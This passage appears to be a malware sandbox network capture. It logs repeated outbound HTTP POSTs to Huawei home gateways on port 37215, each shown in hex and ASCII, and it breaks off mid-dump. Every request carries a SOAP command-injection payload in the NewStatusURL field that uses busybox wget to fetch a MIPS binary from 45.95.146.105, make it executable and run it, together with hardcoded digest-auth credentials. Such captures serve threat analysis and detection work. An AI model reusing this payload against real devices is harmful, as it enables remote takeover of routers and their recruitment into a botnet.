61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:09.276617050 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:58.428663015 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.13	57624	94.120.161.36	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:25.184343100 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.13	38862	156.254.66.224	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:25.197371006 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:29.340517998 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:35.484520912 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:47.516597033 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:13.372596025 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:02.528561115 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 